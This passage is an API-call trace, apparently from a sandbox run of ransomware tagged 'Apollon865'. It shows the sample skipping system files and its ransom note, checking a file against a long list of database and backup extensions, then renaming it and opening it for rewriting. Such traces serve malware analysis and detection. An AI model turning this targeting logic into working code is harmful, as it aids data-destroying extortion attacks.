	[0082.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.099] CloseHandle (hObject=0x15c) returned 1
	[0082.099] CloseHandle (hObject=0x9c) returned 1
	[0082.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1
	[0082.099] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.099] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.099] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".") returned 1
	[0082.099] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="..") returned 1
	[0082.099] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0082.099] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="temp") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.100] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0082.100] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned 72
	[0082.100] lstrcpyW (in: lpString1=0x119e670, lpString2="VISINTL.DLL.trx_dll" | out: lpString1="VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll"
	[0082.100] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0082.100] lstrlenW (lpString="Apollon865") returned 10
	[0082.100] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.100] lstrlenW (lpString=".dll") returned 4
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.100] lstrlenW (lpString=".lnk") returned 4
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.100] lstrlenW (lpString=".ini") returned 4
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.100] lstrlenW (lpString=".sys") returned 4
	[0082.100] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.100] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0082.100] lstrlenW (lpString="bak") returned 3
	[0082.100] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.100] lstrlenW (lpString="ba_") returned 3
	[0082.100] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.100] lstrlenW (lpString="dbb") returned 3
	[0082.100] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.100] lstrlenW (lpString="vmdk") returned 4
	[0082.100] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.100] lstrlenW (lpString="rar") returned 3
	[0082.100] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.100] lstrlenW (lpString="zip") returned 3
	[0082.100] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.100] lstrlenW (lpString="tgz") returned 3
	[0082.100] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.100] lstrlenW (lpString="vbox") returned 4
	[0082.101] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.101] lstrlenW (lpString="vdi") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.101] lstrlenW (lpString="vhd") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.101] lstrlenW (lpString="vhdx") returned 4
	[0082.101] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.101] lstrlenW (lpString="avhd") returned 4
	[0082.101] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.101] lstrlenW (lpString="db") returned 2
	[0082.101] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.101] lstrlenW (lpString="db2") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.101] lstrlenW (lpString="db3") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.101] lstrlenW (lpString="dbf") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.101] lstrlenW (lpString="mdf") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.101] lstrlenW (lpString="mdb") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.101] lstrlenW (lpString="sql") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.101] lstrlenW (lpString="sqlite") returned 6
	[0082.101] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.101] lstrlenW (lpString="sqlite3") returned 7
	[0082.101] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.101] lstrlenW (lpString="sqlitedb") returned 8
	[0082.101] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.101] lstrlenW (lpString="xml") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.101] lstrlenW (lpString="$er") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.101] lstrlenW (lpString="4dd") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.101] lstrlenW (lpString="4dl") returned 3
	[0082.101] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.102] lstrlenW (lpString="^^^") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.102] lstrlenW (lpString="abs") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.102] lstrlenW (lpString="abx") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.102] lstrlenW (lpString="accdb") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.102] lstrlenW (lpString="accdc") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.102] lstrlenW (lpString="accde") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.102] lstrlenW (lpString="accdr") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.102] lstrlenW (lpString="accdt") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.102] lstrlenW (lpString="accdw") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.102] lstrlenW (lpString="accft") returned 5
	[0082.102] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.102] lstrlenW (lpString="adb") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.102] lstrlenW (lpString="adb") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.102] lstrlenW (lpString="ade") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.102] lstrlenW (lpString="adf") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.102] lstrlenW (lpString="adn") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.102] lstrlenW (lpString="adp") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.102] lstrlenW (lpString="alf") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.102] lstrlenW (lpString="ask") returned 3
	[0082.102] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.102] lstrlenW (lpString="btr") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.103] lstrlenW (lpString="cat") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.103] lstrlenW (lpString="cdb") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.103] lstrlenW (lpString="ckp") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.103] lstrlenW (lpString="cma") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.103] lstrlenW (lpString="cpd") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.103] lstrlenW (lpString="dacpac") returned 6
	[0082.103] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.103] lstrlenW (lpString="dad") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.103] lstrlenW (lpString="dadiagrams") returned 10
	[0082.103] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.103] lstrlenW (lpString="daschema") returned 8
	[0082.103] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.103] lstrlenW (lpString="db-journal") returned 10
	[0082.103] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.103] lstrlenW (lpString="db-shm") returned 6
	[0082.103] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.103] lstrlenW (lpString="db-wal") returned 6
	[0082.103] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.103] lstrlenW (lpString="dbc") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.103] lstrlenW (lpString="dbs") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.103] lstrlenW (lpString="dbt") returned 3
	[0082.103] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.103] lstrlenW (lpString="dbv") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.104] lstrlenW (lpString="dbx") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.104] lstrlenW (lpString="dcb") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.104] lstrlenW (lpString="dct") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.104] lstrlenW (lpString="dcx") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.104] lstrlenW (lpString="ddl") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.104] lstrlenW (lpString="dlis") returned 4
	[0082.104] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.104] lstrlenW (lpString="dp1") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.104] lstrlenW (lpString="dqy") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.104] lstrlenW (lpString="dsk") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.104] lstrlenW (lpString="dsn") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.104] lstrlenW (lpString="dtsx") returned 4
	[0082.104] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.104] lstrlenW (lpString="dxl") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.104] lstrlenW (lpString="eco") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.104] lstrlenW (lpString="ecx") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.104] lstrlenW (lpString="edb") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.104] lstrlenW (lpString="epim") returned 4
	[0082.104] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.104] lstrlenW (lpString="fcd") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.104] lstrlenW (lpString="fdb") returned 3
	[0082.104] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.104] lstrlenW (lpString="fic") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.105] lstrlenW (lpString="flexolibrary") returned 12
	[0082.105] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.105] lstrlenW (lpString="fm5") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.105] lstrlenW (lpString="fmp") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.105] lstrlenW (lpString="fmp12") returned 5
	[0082.105] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.105] lstrlenW (lpString="fmpsl") returned 5
	[0082.105] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.105] lstrlenW (lpString="fol") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.105] lstrlenW (lpString="fp3") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.105] lstrlenW (lpString="fp4") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.105] lstrlenW (lpString="fp5") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.105] lstrlenW (lpString="fp7") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.105] lstrlenW (lpString="fpt") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.105] lstrlenW (lpString="frm") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.105] lstrlenW (lpString="gdb") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.105] lstrlenW (lpString="gdb") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.105] lstrlenW (lpString="grdb") returned 4
	[0082.105] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.105] lstrlenW (lpString="gwi") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.105] lstrlenW (lpString="hdb") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.105] lstrlenW (lpString="his") returned 3
	[0082.105] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.106] lstrlenW (lpString="ib") returned 2
	[0082.106] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.106] lstrlenW (lpString="idb") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.106] lstrlenW (lpString="ihx") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.106] lstrlenW (lpString="itdb") returned 4
	[0082.106] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.106] lstrlenW (lpString="itw") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.106] lstrlenW (lpString="jet") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.106] lstrlenW (lpString="jtx") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.106] lstrlenW (lpString="kdb") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.106] lstrlenW (lpString="kexi") returned 4
	[0082.106] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.106] lstrlenW (lpString="kexic") returned 5
	[0082.106] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.106] lstrlenW (lpString="kexis") returned 5
	[0082.106] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.106] lstrlenW (lpString="lgc") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.106] lstrlenW (lpString="lwx") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.106] lstrlenW (lpString="maf") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.106] lstrlenW (lpString="maq") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.106] lstrlenW (lpString="mar") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.106] lstrlenW (lpString="marshal") returned 7
	[0082.106] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.106] lstrlenW (lpString="mas") returned 3
	[0082.106] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.106] lstrlenW (lpString="mav") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.107] lstrlenW (lpString="maw") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.107] lstrlenW (lpString="mdbhtml") returned 7
	[0082.107] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.107] lstrlenW (lpString="mdn") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.107] lstrlenW (lpString="mdt") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.107] lstrlenW (lpString="mfd") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.107] lstrlenW (lpString="mpd") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.107] lstrlenW (lpString="mrg") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.107] lstrlenW (lpString="mud") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.107] lstrlenW (lpString="mwb") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.107] lstrlenW (lpString="myd") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.107] lstrlenW (lpString="ndf") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.107] lstrlenW (lpString="nnt") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.107] lstrlenW (lpString="nrmlib") returned 6
	[0082.107] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.107] lstrlenW (lpString="ns2") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.107] lstrlenW (lpString="ns3") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.107] lstrlenW (lpString="ns4") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.107] lstrlenW (lpString="nsf") returned 3
	[0082.107] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.107] lstrlenW (lpString="nv") returned 2
	[0082.107] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.107] lstrlenW (lpString="nv2") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.108] lstrlenW (lpString="nwdb") returned 4
	[0082.108] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.108] lstrlenW (lpString="nyf") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.108] lstrlenW (lpString="odb") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.108] lstrlenW (lpString="odb") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.108] lstrlenW (lpString="oqy") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.108] lstrlenW (lpString="ora") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.108] lstrlenW (lpString="orx") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.108] lstrlenW (lpString="owc") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.108] lstrlenW (lpString="p96") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.108] lstrlenW (lpString="p97") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.108] lstrlenW (lpString="pan") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.108] lstrlenW (lpString="pdb") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.108] lstrlenW (lpString="pdm") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.108] lstrlenW (lpString="pnz") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.108] lstrlenW (lpString="qry") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.108] lstrlenW (lpString="qvd") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.108] lstrlenW (lpString="rbf") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.108] lstrlenW (lpString="rctd") returned 4
	[0082.108] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.108] lstrlenW (lpString="rod") returned 3
	[0082.108] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.109] lstrlenW (lpString="rodx") returned 4
	[0082.109] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.109] lstrlenW (lpString="rpd") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.109] lstrlenW (lpString="rsd") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.109] lstrlenW (lpString="sas7bdat") returned 8
	[0082.109] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.109] lstrlenW (lpString="sbf") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.109] lstrlenW (lpString="scx") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.109] lstrlenW (lpString="sdb") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.109] lstrlenW (lpString="sdc") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.109] lstrlenW (lpString="sdf") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.109] lstrlenW (lpString="sis") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.109] lstrlenW (lpString="spq") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.109] lstrlenW (lpString="te") returned 2
	[0082.109] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.109] lstrlenW (lpString="teacher") returned 7
	[0082.109] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.109] lstrlenW (lpString="tmd") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.109] lstrlenW (lpString="tps") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.109] lstrlenW (lpString="trc") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.109] lstrlenW (lpString="trc") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.109] lstrlenW (lpString="trm") returned 3
	[0082.109] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.109] lstrlenW (lpString="udb") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.110] lstrlenW (lpString="udl") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.110] lstrlenW (lpString="usr") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.110] lstrlenW (lpString="v12") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.110] lstrlenW (lpString="vis") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.110] lstrlenW (lpString="vpd") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.110] lstrlenW (lpString="vvv") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.110] lstrlenW (lpString="wdb") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.110] lstrlenW (lpString="wmdb") returned 4
	[0082.110] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.110] lstrlenW (lpString="wrk") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.110] lstrlenW (lpString="xdb") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.110] lstrlenW (lpString="xld") returned 3
	[0082.110] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.110] lstrlenW (lpString="xmlff") returned 5
	[0082.110] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.110] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.Apollon865") returned 82
	[0082.110] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.111] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\visintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.112] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=473440) returned 1
	[0082.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
